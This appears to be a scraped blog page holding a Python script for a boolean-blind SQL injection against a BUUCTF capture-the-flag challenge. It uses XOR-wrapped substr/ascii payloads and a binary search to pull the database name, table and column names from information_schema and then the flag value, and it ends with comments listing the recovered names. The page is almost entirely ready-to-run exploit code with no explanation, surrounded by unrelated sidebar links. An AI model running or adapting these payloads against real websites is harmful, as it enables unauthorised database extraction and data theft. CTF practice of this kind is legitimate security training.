当前位置:网站首页>Bool blind note - score query
Bool blind note - score query
2022-07-03 19:39:00 【Forever culvert】
from aiohttp import Payload
from cherrypy import url
import requests
import time
from sympy import parallel_poly_from_expr
url = "http://0cfdc5c8-c87c-4e7f-b632-7f6c6ff7a2d0.node4.buuoj.cn:81/?stunum="
payload1 = "1^(ascii(substr((select(database())),{},1))>{})^1"
payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"
payload3 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1"
payload4 = "1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1"
database = ""
for x in range(1, 1000):
low = 32
high = 127
mid = (low+high) // 2
while low < high:
playload = payload4.format(x, mid)
new_url = url + playload
r = requests.get(new_url)
if "Hi admin, your score is: 100" in r.text:
low = mid + 1
else:
high = mid
mid = (low+high) // 2
if (mid == 32 or mid == 132):
break
database += chr(mid)
print(database)
time.sleep(1)
print(database)
# ctf
# flag,score
# flag,value
边栏推荐
- Utilisation de base du cadre unitest
- 第一章: 舍罕王失算
- Counting from the East and counting from the West will stimulate 100 billion industries. Only storage manufacturers who dare to bite the "hard bone" will have more opportunities
- Thesis study - 7 Very Deep Convolutional Networks for Large-Scale Image Recognition (3/3)
- [proteus simulation] a simple encrypted electronic password lock designed with 24C04 and 1602LCD
- Basic principle of LSM tree
- CMD implements the language conversion of locale non Unicode programs
- Meso tetra [P - (p-n-carbazole benzylidene imino)] phenylporphyrin (tcipp) /eu (tcipp) [pc( α- 2-oc8h17) 4] and euh (tcipp) [pc (a-2-oc8h17) 4] supplied by Qiyue
- Chapter 1: extend the same code decimal sum s (D, n)
- Chapter 1: King Shehan miscalculated
猜你喜欢

Sentinel source code analysis part I sentinel overview

Leetcode 1189. Maximum number of balloons (special character count)

Chapter 1: find the factorial n of n!

Common text labels

Chapter 1: find all factorial sums, Grand Prix site unified programming, three factorial sums, graphic point scanning, recursive factorial n of n!, Find the factorial n of n!, King Shehan miscalculate

Buuctf's different flags and simplerev

Yolov3 network model building
![[water quality prediction] water quality prediction based on MATLAB Fuzzy Neural Network [including Matlab source code 1923]](/img/aa/9980acc9839f067202d46faabbf029.png)
[water quality prediction] water quality prediction based on MATLAB Fuzzy Neural Network [including Matlab source code 1923]

Free year-end report summary template Welfare Collection

Chapter 1: sum of three factorials, graph point scanning
随机推荐
TFs and SVN [closed] - TFs vs SVN [closed]
Summary of learning materials and notes of Zhang Fei's actual combat electronics 1-31
How does if ($variable) work? [repeat] - how exactly does if ($variable) work? [duplicate]
OSPF - detailed explanation of stub area and full stub area
Ae/pr/fcpx super visual effects plug-in package fxfactory
Day10 -- forced login, token refresh and JWT disable
第二章:4位卡普雷卡数,搜索偶数位卡普雷卡数,搜索n位2段和平方数,m位不含0的巧妙平方数,指定数字组成没有重复数字的7位平方数,求指定区间内的勾股数组,求指定区间内的倒立勾股数组
2020 intermediate financial management (escort class)
Bad mentality leads to different results
2022.2.14 Li Kou - daily question - single element in an ordered array
P1891 crazy LCM (Euler function)
Go home early today
Thesis study - 7 Very Deep Convolutional Networks for Large-Scale Image Recognition (3/3)
Today's work summary and plan: February 14, 2022
Read the paper glodyne global topology preserving dynamic network embedding
第一章:简化同码小数和s(d, n)
WPF format datetime in TextBlock- WPF format DateTime in TextBlock?
Chapter 1: sum of three factorials, graph point scanning
CMD implements the language conversion of locale non Unicode programs
2022-06-30 網工進階(十四)路由策略-匹配工具【ACL、IP-Prefix List】、策略工具【Filter-Policy】